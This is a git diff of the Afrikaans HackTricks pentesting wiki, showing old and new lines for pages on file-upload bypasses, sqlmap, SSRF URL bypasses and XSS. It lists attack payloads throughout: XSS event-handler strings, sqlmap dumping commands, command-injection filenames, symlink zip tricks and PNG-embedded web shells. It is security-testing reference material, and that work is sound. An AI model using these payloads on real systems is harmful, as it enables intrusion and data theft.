In sommige gevalle mag jy vind dat 'n bediener **`wget`** gebruik om **lêers** te **af te laai** en jy kan die **URL** **aandui**. In hierdie gevalle mag die kode nagaan of die uitbreiding van die afgelaaide lêers binne 'n witlys is om te verseker dat slegs toegelate lêers afgelaai gaan word. egter, **hierdie kontrole kan omseil word.**\
Die **maksimum** lengte van 'n **lêernaam** in **linux** is **255**, egter, **wget** verkort die lêernames tot **236** karakters. Jy kan 'n lêer genaamd "A"\*232+".php"+".gif" **aflaai**, hierdie lêernaam sal die **kontrole omseil** (soos in hierdie voorbeeld is **".gif"** 'n **geldige** uitbreiding) maar `wget` sal die lêer hernoem na **"A"\*232+".php"**.
```bash
#Create file and HTTP server
@ -164,10 +164,10 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil
## Van lêeroplaad na ander kwesbaarhede
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md))
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md))
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
@ -206,13 +206,13 @@ https://github.com/portswigger/upload-scanner
Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander lêertipes.
### Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
## Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
As jy 'n ZIP kan oplaai wat binne die bediener gaan gedecomprimeer word, kan jy 2 dinge doen:
#### Symlink
### Symlink
Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gekoppelde lêers:
Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -289,7 +289,7 @@ pop graphic-context
```
## Inbedde PHP Shell in PNG
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
Die inbeddding van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroepeer en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
@ -299,12 +299,20 @@ Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-i
Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie paar nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) voorgestel word, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingbeleide. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurlike dualiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Laai geldige JSON's op soos asof dit PDF was
Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer te faksineer (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` biblioteek**: Solank die `%PDF` magiese bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit pos)
- **`pdflib` biblioteek**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos)
- **`file` binêre**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan die aanvanklike deel van 'n werklike PDF binne die JSON en dit sal dink dit is 'n PDF
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +321,6 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
{{#include ../../banners/hacktricks-training.md}}

66
src/pentesting-web/sql-injection/sqlmap/README.md
View File

@ -62,7 +62,7 @@ sqlmap -u "http://example.com/?id=*" -p id
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Inspuitings in Headers en ander HTTP Metodes
### Injekties in Headers en ander HTTP Metodes
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -80,9 +80,13 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### Voeg opsporingstegniek by
As jy 'n SQLi gevind het, maar sqlmap dit nie opgespoor het nie, kan jy die opsporingstegniek afdwing met args soos `--prefix` of `--suffix`, of as dit meer kompleks is, dit by die payloads voeg wat deur sqlmap in `/usr/share/sqlmap/data/xml/payloads/time_blind.xml` gebruik word, byvoorbeeld vir tyd blinde gebaseerde.
### Eval
**Sqlmap** laat die gebruik van `-e` of `--eval` toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die **flask cookie session** **onderteken deur flask met die bekende geheim voordat dit gestuur word**:
**Sqlmap** laat die gebruik van `-e` of `--eval` toe om elke payload te verwerk voordat dit met 'n paar python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die **flask koekie sessie** **deur flask met die bekende geheim gesertifiseer voordat dit gestuur word**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
@ -126,7 +130,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Hulp om booleaanse inspuiting te vind
### Help om booleaanse inspuiting te vind
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
@ -140,47 +144,47 @@ Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy
```
| Tamper | Beskrywing |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Vervang apostrofkarakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang apostrofkarakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by aan die einde van die payload |
| base64encode.py | Base64 al karakters in 'n gegewe payload |
| apostrophemask.py | Vervang apostroofkarakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang apostroofkarakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg gekodeerde NULL byte karakter by aan die einde van die payload |
| base64encode.py | Base64 al karakters in 'n gegewe payload |
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-encode al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "%u0022" |
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk). "\u0022" |
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
| escapequotes.py | Skuil aanhalingstekens (' en ") |
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
| chardoubleencode.py | Dubbel url-kodeer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodeer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| charunicodeencode.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe payload (nie reeds gekodeerde verwerk). "%u0022" |
| charunicodeescape.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe payload (nie reeds gekodeerde verwerk). "\u0022" |
| equaltolike.py | Vervang alle voorkomste van operator gelyk ('=') met operator 'LIKE' |
| escapequotes.py | Skuil aanhalings (' en ") |
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawe kommentaar |
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds geënkodeerde verwerk) |
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawes kommentaar |
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordiging geskik vir vervanging (bv. .replace("SELECT", "")) filters |
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| randomcase.py | Vervang elke sleutelwoordkarakter met ewekansige kaswaarde |
| randomcomments.py | Voeg ewekansige kommentaar by SQL sleutelwoorde |
| securesphere.py | Voeg spesiaal saamgestelde string by |
| sp_password.py | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2hash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2morehash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| sp_password.py | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2hash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2morehash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pondkarakter ('#') gevolg deur 'n nuwe lyn ('\n') |
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
| space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
| space2randomblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhanger (&& en |
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
| unmagicquotes.py | Vervang aanhalingstekens karakter (') met 'n multi-byte kombinasie %bf%27 saam met 'n generiese kommentaar aan die einde (om dit te laat werk) |
| unmagicquotes.py | Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
| uppercase.py | Vervang elke sleutelwoordkarakter met hoofletters waarde 'INSERT' |
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |

17
src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
View File

@ -2,9 +2,10 @@
{{#include ../../banners/hacktricks-training.md}}
### Plaaslike gasheer
### Lokale gasheer
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
@ -143,7 +144,7 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Paaie en Uitbreidingsomseiling
### Paaie en Uitbreidings Omseil
As jy vereis dat die URL moet eindig in 'n pad of 'n uitbreiding, of 'n pad moet bevat, kan jy een van die volgende omseilings probeer:
```
@ -153,20 +154,20 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk ook na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) vir meer inligting.
Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting.
### Outomatiese Aangepaste Woordlyste
### Automatiese Aangepaste Woordlyste
Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host-header of in 'n CORS-header kan gebruik.
Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om vir jou te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host kop of in 'n CORS kop kan gebruik.
{{#ref}}
https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
{{#endref}}
### Omseil via omleiding
### Omseil via herleiding
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **omleidings** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **herleiding** antwoord op daardie versoek nie.\
Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil herlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
[Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3

120
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -18,7 +18,7 @@
3. Ondersteun die eienskap waar jy vasgevang is JS-uitvoering?
4. Kan jy beskermings omseil?
3. Binne **JavaScript-kode**:
1. Kan jy die `<script>`-tag ontsnap?
1. Kan jy die `<script>` tag ontsnap?
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
3. Is jou invoer in sjabloon literale \`\`?
4. Kan jy beskermings omseil?
@ -56,8 +56,8 @@ As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy pr
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer binne "**onuitputbare tags**" reflekteer, kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
```html
@ -100,7 +100,7 @@ Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer
As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**).
Maar, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**:
![](<../../images/image (747).png>)
@ -132,7 +132,7 @@ dom-xss.md
### **Universele XSS**
Hierdie tipe XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Sommige **voorbeelde**:
{{#ref}}
@ -147,11 +147,11 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Invoeging binne rou HTML
## Invoeging binne ruwe HTML
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\**_
_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\*_
In hierdie geval en as geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik:
```html
@ -176,7 +176,7 @@ As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaa
```
### Swartlys Bypasses
As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -237,9 +237,9 @@ Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\
Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\
Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121).
### Klik XSS - Clickjacking
### Klik XSS - Klikjacking
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Clickjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** met voorafgevulde data klik, kan jy probeer om [**Klikjacking te misbruik**](../clickjacking.md#xss-clickjacking) (as die bladsy kwesbaar is).
### Onmoontlik - Hangende Markup
@ -250,7 +250,7 @@ As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep o
### Binne die tag/ontsnapping van attribuutwaarde
As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribiete binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hê as jou invoer direk binne die tag weerspieël word_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -295,7 +295,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Omheining binne gebeurtenis met Unicode-kodering**
**Omseil binne gebeurtenis met Unicode-kodering**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -303,7 +303,7 @@ Let daarop dat **enige soort HTML-kodering geldig is**:
```
### Spesiale Protokolle Binnen die attribuut
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** te **voer**. Sommige sal gebruikersinteraksie vereis en sommige nie.
Daar kan jy die protokolle **`javascript:`** of **`data:`** in sommige plekke gebruik om **arbitraire JS kode** uit te voer. Sommige sal gebruikersinteraksie vereis en sommige nie.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -357,7 +357,7 @@ Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **nie** **sal** **werk** nie, maar jy kan **hulle meng binne die payload**.
Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**.
**Gebruik Hex en Octal kodering met `javascript:`**
